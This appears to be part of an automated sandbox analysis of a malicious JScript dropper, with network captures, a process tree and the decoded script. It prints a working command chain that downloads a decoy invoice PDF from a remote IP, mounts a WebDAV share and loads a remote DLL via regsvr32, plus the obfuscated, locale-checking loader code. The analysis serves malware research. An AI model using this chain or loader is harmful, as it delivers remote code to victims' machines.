Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:05:46.131962061 CET	1.1.1.1	192.168.2.8	0xac	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	6360	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:05:34.814308882 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:05:35.625572920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:05:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:05:35.625636101 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:05:35.625654936 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:05:35.625668049 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 18:05:35.625679970 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 18:05:35.625691891 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 18:05:35.625705004 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 18:05:35.625718117 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 18:05:35.625730991 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 18:05:35.625745058 CET	224	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CR
Jan 10, 2025 18:05:35.630614042 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	5824	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:05:37.815840006 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:05:38.620516062 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:05:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:05:25
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js"
Imagebase:	0x7ff719770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:05:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll
Imagebase:	0x7ff6f9d60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:05:26
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:05:26
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:05:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:05:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f9d60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:05:36
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7363e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:05:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:05:37
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:05:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1528,i,15742713513426449704,15071076930009165979,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function casisuoj() {	casisuoj() ➔ undefined
1	iwvimixxd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var pgietcd = this[hhpjfccij + aqdcyydr + scowcrdnk + gfxtr + kfdhsbns + nzqbwh + btrompubr + lwpivl] ( this[dbkqdrd + esihu + lhqti + scowcrdnk + fbtvkyuaq + hhpjfccij + lwpivl][iuqeb + scowcrdnk + kfdhsbns + aqdcyydr + lwpivl + kfdhsbns + rbvfjpn + vbnipilgj + agkbynz + kfdhsbns + lhqti + lwpivl] ( dbkqdrd + esihu + lhqti + scowcrdnk + fbtvkyuaq + hhpjfccij + lwpivl + xotizili + esihu + dlpbfe + kfdhsbns + kzhcfaml + kzhcfaml ) [obpceh + kfdhsbns + hsrnuuc + obpceh + kfdhsbns + aqdcyydr + jxcghebq] ( tlgoodfe + pklhss + pfamynggr + mkzonly + ktagaikvp + iuqeb + jqbnatexx + obpceh + obpceh + pfamynggr + piaaxve + uqwjz + ktagaikvp + jqbnatexx + esihu + pfamynggr + obpceh + cazpwmwpm + iuqeb + gxqtmmv + btrompubr + lwpivl + scowcrdnk + gxqtmmv + kzhcfaml + fmlgt + wewhleh + aqdcyydr + btrompubr + kfdhsbns + kzhcfaml + cazpwmwpm + nzqbwh + btrompubr + lwpivl + kfdhsbns + scowcrdnk + btrompubr + aqdcyydr + lwpivl + fbtvkyuaq + gxqtmmv + btrompubr + aqdcyydr + kzhcfaml + cazpwmwpm + xkhysgxv + gxqtmmv + lhqti + aqdcyydr + kzhcfaml + kfdhsbns ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xwhxictu = 0 ; xwhxictu < iwvimixxd[kzhcfaml + kfdhsbns + btrompubr + hsrnuuc + lwpivl + dlpbfe] ; ++ xwhxictu )
4	{
5	if ( pgietcd == iwvimixxd[xwhxictu] )
6	{
7	pgietcd = true;
8	break ;
9	}
10	}
11	if ( pgietcd !== true )
12	this[dbkqdrd + esihu + lhqti + scowcrdnk + fbtvkyuaq + hhpjfccij + lwpivl][atrizyh + amcqomyx + fbtvkyuaq + lwpivl] ( );
13	this[dbkqdrd + esihu + lhqti + scowcrdnk + fbtvkyuaq + hhpjfccij + lwpivl][iuqeb + scowcrdnk + kfdhsbns + aqdcyydr + lwpivl + kfdhsbns + rbvfjpn + vbnipilgj + agkbynz + kfdhsbns + lhqti + lwpivl] ( dbkqdrd + esihu + lhqti + scowcrdnk + fbtvkyuaq + hhpjfccij + lwpivl + xotizili + esihu + dlpbfe + kfdhsbns + kzhcfaml + kzhcfaml ) [scowcrdnk + amcqomyx + btrompubr] ( lhqti + lqfropp + jxcghebq + fmlgt + mbbuu + lhqti + fmlgt + hhpjfccij + gxqtmmv + hanqx + kfdhsbns + scowcrdnk + gfxtr + dlpbfe + kfdhsbns + kzhcfaml + kzhcfaml + xotizili + kfdhsbns + lygphitce + kfdhsbns + fmlgt + begtg + iuqeb + gxqtmmv + lqfropp + lqfropp + aqdcyydr + btrompubr + jxcghebq + fmlgt + jdnrc + nzqbwh + btrompubr + vggdoaymk + gxqtmmv + xitvz + kfdhsbns + begtg + dbkqdrd + kfdhsbns + vbnipilgj + obpceh + kfdhsbns + glzfy + amcqomyx + kfdhsbns + gfxtr + lwpivl + fmlgt + begtg + rbvfjpn + amcqomyx + lwpivl + uhjdaigkt + fbtvkyuaq + kzhcfaml + kfdhsbns + fmlgt + oypnxo + lwpivl + kfdhsbns + lqfropp + hhpjfccij + oypnxo + cazpwmwpm + fbtvkyuaq + btrompubr + vggdoaymk + gxqtmmv + fbtvkyuaq + lhqti + kfdhsbns + xotizili + hhpjfccij + jxcghebq + xfnqzbmwa + fmlgt + dlpbfe + lwpivl + lwpivl + hhpjfccij + qwmmkq + mbbuu + mbbuu + tyrmtz + zqgae + bgstdui + xotizili + tyrmtz + qnjgaix + bgstdui + xotizili + tyrmtz + xotizili + vufau + sehjtmmo + cgocbev + mbbuu + fbtvkyuaq + btrompubr + vggdoaymk + gxqtmmv + fbtvkyuaq + lhqti + kfdhsbns + xotizili + hhpjfccij + dlpbfe + hhpjfccij + jdnrc + jjcmqhj + jjcmqhj + gfxtr + lwpivl + aqdcyydr + scowcrdnk + lwpivl + fmlgt + oypnxo + lwpivl + kfdhsbns + lqfropp + hhpjfccij + oypnxo + cazpwmwpm + fbtvkyuaq + btrompubr + vggdoaymk + gxqtmmv + fbtvkyuaq + lhqti + kfdhsbns + xotizili + hhpjfccij + jxcghebq + xfnqzbmwa + jjcmqhj + jjcmqhj + lhqti + lqfropp + jxcghebq + fmlgt + mbbuu + lhqti + fmlgt + btrompubr + kfdhsbns + lwpivl + fmlgt + amcqomyx + gfxtr + kfdhsbns + fmlgt + cazpwmwpm + cazpwmwpm + tyrmtz + zqgae + bgstdui + xotizili + tyrmtz + qnjgaix + bgstdui + xotizili + tyrmtz + xotizili + vufau + sehjtmmo + cgocbev + danipayek + exefjtnxz + exefjtnxz + exefjtnxz + exefjtnxz + cazpwmwpm + jxcghebq + aqdcyydr + vggdoaymk + hanqx + hanqx + hanqx + scowcrdnk + gxqtmmv + gxqtmmv + lwpivl + cazpwmwpm + jjcmqhj + jjcmqhj + lhqti + lqfropp + jxcghebq + fmlgt + mbbuu + lhqti + fmlgt + scowcrdnk + kfdhsbns + hsrnuuc + gfxtr + vggdoaymk + scowcrdnk + bgstdui + vufau + fmlgt + mbbuu + gfxtr + fmlgt + cazpwmwpm + cazpwmwpm + tyrmtz + zqgae + bgstdui + xotizili + tyrmtz + qnjgaix + bgstdui + xotizili + tyrmtz + xotizili + vufau + sehjtmmo + cgocbev + danipayek + exefjtnxz + exefjtnxz + exefjtnxz + exefjtnxz + cazpwmwpm + jxcghebq + aqdcyydr + vggdoaymk + hanqx + hanqx + hanqx + scowcrdnk + gxqtmmv + gxqtmmv + lwpivl + cazpwmwpm + vufau + tyrmtz + exefjtnxz + exefjtnxz + vufau + zqgae + zqgae + qnjgaix + tkkqjjy + tyrmtz + bgstdui + nmacls + qnjgaix + qnjgaix + xotizili + jxcghebq + kzhcfaml + kzhcfaml, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll",0,false) ➔ 0
14	}
15	xfnqzbmwa = "Y";
16	xfnqzbmwa = "f";
17	jdnrc = "r";
18	jdnrc = "L";
19	jdnrc = "G";
20	jdnrc = "S";
21	jdnrc = "F";
22	jdnrc = "l";
23	jdnrc = "f";
24	jdnrc = "a";
25	jdnrc = "W";
26	jdnrc = "n";
27	jdnrc = "k";
28	jdnrc = "q";
29	jdnrc = "q";
30	jdnrc = "n";
31	jdnrc = "i";
32	jdnrc = "P";
33	jdnrc = "U";
34	jdnrc = "x";
35	jdnrc = "u";
36	jdnrc = "Y";
37	jdnrc = "E";
38	jdnrc = "M";
39	jdnrc = "T";
40	jdnrc = "\"";
41	qwmmkq = "q";
42	qwmmkq = "Y";
43	qwmmkq = "t";
44	qwmmkq = "u";
45	qwmmkq = "w";
46	qwmmkq = "W";
47	qwmmkq = "x";
48	qwmmkq = "C";
49	qwmmkq = "b";
50	qwmmkq = "V";
51	qwmmkq = "J";
52	qwmmkq = "r";
53	qwmmkq = "l";
54	qwmmkq = "A";
55	qwmmkq = "C";
56	qwmmkq = "o";
57	qwmmkq = "Z";
58	qwmmkq = "y";
59	qwmmkq = "u";
60	qwmmkq = "Z";
61	qwmmkq = "E";
62	qwmmkq = "x";
63	qwmmkq = "y";
64	qwmmkq = "A";
65	qwmmkq = "h";
66	qwmmkq = "A";
67	qwmmkq = "H";
68	qwmmkq = "c";
69	qwmmkq = "g";
70	qwmmkq = "y";
71	qwmmkq = "m";
72	qwmmkq = "o";
73	qwmmkq = "c";
74	qwmmkq = "m";
75	qwmmkq = "Z";
76	qwmmkq = "i";
77	qwmmkq = "h";
78	qwmmkq = "N";
79	qwmmkq = "i";
80	qwmmkq = "I";
81	qwmmkq = "a";
82	qwmmkq = "F";
83	qwmmkq = ":";
84	sehjtmmo = "N";
85	sehjtmmo = "O";
86	sehjtmmo = "h";
87	sehjtmmo = "Z";
88	sehjtmmo = "E";
89	sehjtmmo = "G";
90	sehjtmmo = "J";
91	sehjtmmo = "E";
92	sehjtmmo = "U";
93	sehjtmmo = "W";
94	sehjtmmo = "R";
95	sehjtmmo = "A";
96	sehjtmmo = "I";
97	sehjtmmo = "u";
98	sehjtmmo = "q";
99	sehjtmmo = "v";
100	sehjtmmo = "s";
101	sehjtmmo = "r";
102	sehjtmmo = "o";
103	sehjtmmo = "0";
104	oypnxo = "i";
105	oypnxo = "X";
106	oypnxo = "A";
107	oypnxo = "t";
108	oypnxo = "%";
109	glzfy = "u";
110	glzfy = "A";
111	glzfy = "f";
112	glzfy = "D";
113	glzfy = "H";
114	glzfy = "u";
115	glzfy = "l";
116	glzfy = "u";
117	glzfy = "d";
118	glzfy = "a";
119	glzfy = "B";
120	glzfy = "Z";
121	glzfy = "q";
122	pklhss = "o";
123	pklhss = "W";
124	pklhss = "F";
125	pklhss = "u";
126	pklhss = "m";
127	pklhss = "j";
128	pklhss = "R";
129	pklhss = "b";
130	pklhss = "i";
131	pklhss = "N";
132	pklhss = "q";
133	pklhss = "R";
134	pklhss = "N";
135	pklhss = "h";
136	pklhss = "W";
137	pklhss = "E";
138	pklhss = "z";
139	pklhss = "p";
140	pklhss = "O";
141	pklhss = "V";
142	pklhss = "P";
143	pklhss = "L";
144	pklhss = "Q";
145	pklhss = "C";
146	pklhss = "Z";
147	pklhss = "S";
148	pklhss = "T";
149	pklhss = "W";
150	pklhss = "e";
151	pklhss = "M";
152	pklhss = "I";
153	pklhss = "x";
154	pklhss = "K";
155	uhjdaigkt = "h";
156	uhjdaigkt = "I";
157	uhjdaigkt = "s";
158	uhjdaigkt = "b";
159	uhjdaigkt = "N";
160	uhjdaigkt = "m";
161	uhjdaigkt = "O";
162	uhjdaigkt = "t";
163	uhjdaigkt = "D";
164	uhjdaigkt = "D";
165	uhjdaigkt = "C";
166	uhjdaigkt = "h";
167	uhjdaigkt = "y";
168	uhjdaigkt = "p";
169	uhjdaigkt = "d";
170	uhjdaigkt = "y";
171	uhjdaigkt = "P";
172	uhjdaigkt = "z";
173	uhjdaigkt = "I";
174	uhjdaigkt = "w";
175	uhjdaigkt = "R";
176	uhjdaigkt = "O";
177	uhjdaigkt = "b";
178	uhjdaigkt = "H";
179	uhjdaigkt = "u";
180	uhjdaigkt = "j";
181	uhjdaigkt = "n";
182	uhjdaigkt = "S";
183	uhjdaigkt = "F";
184	piaaxve = "o";
185	piaaxve = "c";
186	piaaxve = "A";
187	piaaxve = "g";
188	piaaxve = "p";
189	piaaxve = "X";
190	piaaxve = "h";
191	piaaxve = "o";
192	piaaxve = "M";
193	piaaxve = "G";
194	piaaxve = "o";
195	piaaxve = "H";
196	piaaxve = "P";
197	piaaxve = "g";
198	piaaxve = "d";
199	piaaxve = "T";
200	piaaxve = "j";
201	piaaxve = "N";
202	kzhcfaml = "K";
203	kzhcfaml = "P";
204	kzhcfaml = "K";
205	kzhcfaml = "p";
206	kzhcfaml = "V";
207	kzhcfaml = "E";
208	kzhcfaml = "W";
209	kzhcfaml = "J";
210	kzhcfaml = "d";
211	kzhcfaml = "c";
212	kzhcfaml = "U";
213	kzhcfaml = "c";
214	kzhcfaml = "H";
215	kzhcfaml = "b";
216	kzhcfaml = "u";
217	kzhcfaml = "U";
218	kzhcfaml = "o";
219	kzhcfaml = "Z";
220	kzhcfaml = "r";
221	kzhcfaml = "z";
222	kzhcfaml = "T";
223	kzhcfaml = "Q";
224	kzhcfaml = "C";
225	kzhcfaml = "n";
226	kzhcfaml = "j";
227	kzhcfaml = "d";
228	kzhcfaml = "N";
229	kzhcfaml = "f";
230	kzhcfaml = "l";
231	zqgae = "A";
232	zqgae = "9";
233	hsrnuuc = "o";
234	hsrnuuc = "e";
235	hsrnuuc = "g";
236	hsrnuuc = "j";
237	hsrnuuc = "r";
238	hsrnuuc = "M";
239	hsrnuuc = "I";
240	hsrnuuc = "n";
241	hsrnuuc = "w";
242	hsrnuuc = "y";
243	hsrnuuc = "v";
244	hsrnuuc = "F";
245	hsrnuuc = "W";
246	hsrnuuc = "P";
247	hsrnuuc = "G";
248	hsrnuuc = "m";
249	hsrnuuc = "C";
250	hsrnuuc = "I";
251	hsrnuuc = "t";
252	hsrnuuc = "o";
253	hsrnuuc = "T";
254	hsrnuuc = "r";
